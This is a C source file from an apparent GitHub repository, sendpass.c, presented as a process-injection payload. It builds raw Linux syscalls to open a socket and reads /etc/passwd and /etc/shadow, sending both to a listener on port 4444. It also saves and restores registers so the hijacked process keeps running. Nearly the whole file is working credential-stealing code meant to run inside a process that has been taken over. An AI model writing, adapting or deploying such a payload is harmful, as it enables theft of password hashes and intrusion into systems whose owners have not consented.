-
Notifications
You must be signed in to change notification settings - Fork 0
/
sendpass.c
300 lines (269 loc) · 5.46 KB
/
sendpass.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
/* Payload to send passwd and shadow file over network
* Usage:
* start listener on port 4444 and use as payload to proc_inject2
*
* compile:
* gcc -fpic -pie -nostdlib sendpass.c -o sendpass
*
* for this payload start listener on localhost port 4444
* /etc/passwd and /etc/shadow will be in /tmp/out.txt
* the proc that you attach to must be running as root to get shadow file
*/
long _write(long fd, char *buf, unsigned long len)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $1, %%rax\n"
"syscall" : : "g"(fd), "g"(buf), "g"(len));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
long _open(char *buf, unsigned long flags, unsigned long mode)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $2, %%rax\n"
"syscall" : : "g"(buf), "g"(flags), "g"(mode));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
/* limited to 64k file size */
long _sendfile(long out, long in, char* offset, short count)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov %3, %%r10\n"
"mov $40, %%rax\n"
"syscall" : : "g"(out), "g"(in), "g"(offset), "g"(count));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
long _fstat(unsigned long fd, char *buf)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov $5, %%rax\n"
"syscall" : : "g"(fd), "g"(buf));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
long _close(long fd)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov $3, %%rax\n"
"syscall" : : "g"(fd));
asm("mov %%rax, %0" : "=r"(ret));
return ret;
}
long _socket(long family, long type, long protocol)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $41, %%rax\n"
"syscall" : : "g"(family), "g"(type), "g"(protocol));
asm("mov %%rax, %0" : "=r"(ret));
/* returns socket fd */
return ret;
}
long _connect(int fd, char * addr, int addrlen)
{
long ret;
__asm__ volatile(
"mov %0, %%rdi\n"
"mov %1, %%rsi\n"
"mov %2, %%rdx\n"
"mov $42, %%rax\n"
"syscall" : : "g"(fd), "g"(addr), "g"(addrlen));
asm("mov %%rax, %0" : "=r"(ret));
/* returns socket fd */
return ret;
}
void Exit(long status)
{
__asm__ volatile("mov %0, %%rdi\n"
"mov $60, %%rax\n"
"syscall" : : "r"(status));
}
/* for debuging */
int _write_byte(unsigned char byte)
{
unsigned char off, lnib, hnib, asci[3];
lnib = byte & 0x0f;
hnib = byte >> 4;
off = 0x30;
if (hnib > 9)
off += 7;
asci[0] = hnib+off;
off = 0x30;
if (lnib > 9)
off += 7;
asci[1] = lnib+off;
asci[2] = ' ';
_write(1, (char *)&asci[0], 3);
}
_start()
{
/* attempting to push and pop regs to return to program */
asm __volatile__(
".globl real_start \n"
"real_start: \n"
"push %rsp \n"
"push %rbp \n"
"push %rax \n"
"push %rbx \n"
"push %rcx \n"
"push %rdx \n"
"push %r8 \n"
"push %r9 \n"
"push %r10 \n"
"push %r11 \n"
"push %r12 \n"
"push %r13 \n"
"push %r14 \n"
"push %r15 \n"
"call do_main ");
// _write(1, "I am the payload who has hijacked your process!\n", 48);
asm __volatile__(
"pop %r15 \n"
"pop %r14 \n"
"pop %r13 \n"
"pop %r12 \n"
"pop %r11 \n"
"pop %r10 \n"
"pop %r9 \n"
"pop %r8 \n"
"pop %rdx \n"
"pop %rcx \n"
"pop %rbx \n"
"pop %rax \n"
"pop %rbp \n"
"pop %rsp \n"
"leave \n"
"ret ");
/* shouldnt reach */
//Exit(0);
}
void do_main()
{
/* AF_INET: 2 SOCK_STREAM: 1 */
int i;
long fd, exit_code;
long sfd = _socket(2, 1, 0);
if (sfd < 0)
{
_write(1, "no socket\n", 10);
Exit(-1);
}
/* this works */
/* AF_INET, port 4444, 127.0.0.1, padding */
char sockstruct[24] = {0x02, 0x00, 0x11, 0x5c, 0x7f, 0x00, 0x00, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
long ret = _connect(sfd,(char *)&sockstruct, 24);
if (ret < 0)
{
_write(1, "not successful con\n", 19);
Exit(ret);
}
ret = _write(sfd, "**passwd**\n", 11);
if (ret < 0)
{
_write(1, "not successful\n", 15);
Exit(ret);
}
fd = _open("/etc/passwd", 0, 0);
if (fd < 0)
{
_write(1, "open not suc\n", 13);
Exit(fd);
}
unsigned char statstruct[144];
ret = _fstat(fd, (char *)&statstruct);
if (ret < 0)
{
_write(1, "fstat not successful\n", 21);
Exit(ret);
}
/* debug
_write_byte(statstruct[48]);
_write_byte(statstruct[49]);
*/
/* size st.st_size */
short s;
s = statstruct[48] << 8;
s = s | statstruct[49];
/* send file */
ret = _sendfile(sfd, fd, 0, s);
if (ret < 0)
{
_write(1, "sendfile failed\n", 16);
}
ret = _close(fd);
if (ret < 0)
{
_write(1, "close not successful\n", 21);
Exit(ret);
}
/* do the same for /etc/shadow */
ret = _write(sfd, "**shadow**\n", 11);
if (ret < 0)
{
_write(1, "not successful\n", 15);
Exit(ret);
}
fd = _open("/etc/shadow", 0, 0);
if (fd < 0)
{
_write(1, "open not suc\n", 13);
Exit(fd);
}
ret = _fstat(fd, (char *)&statstruct);
if (ret < 0)
{
_write(1, "fstat not successful\n", 21);
Exit(ret);
}
/* debug
_write_byte(statstruct[48]);
_write_byte(statstruct[49]);
*/
/* size st.st_size */
s = statstruct[48] << 8;
s = s | statstruct[49];
/* send file */
ret = _sendfile(sfd, fd, 0, s);
if (ret < 0)
{
_write(1, "sendfile failed\n", 16);
}
ret = _close(fd);
if (ret < 0)
{
_write(1, "close not successful\n", 21);
Exit(ret);
}
ret = _close(sfd);
if (ret < 0)
{
_write(1, "close not successful\n", 21);
Exit(ret);
}
/* comment out exit() for return */
// Exit(exit_code);
}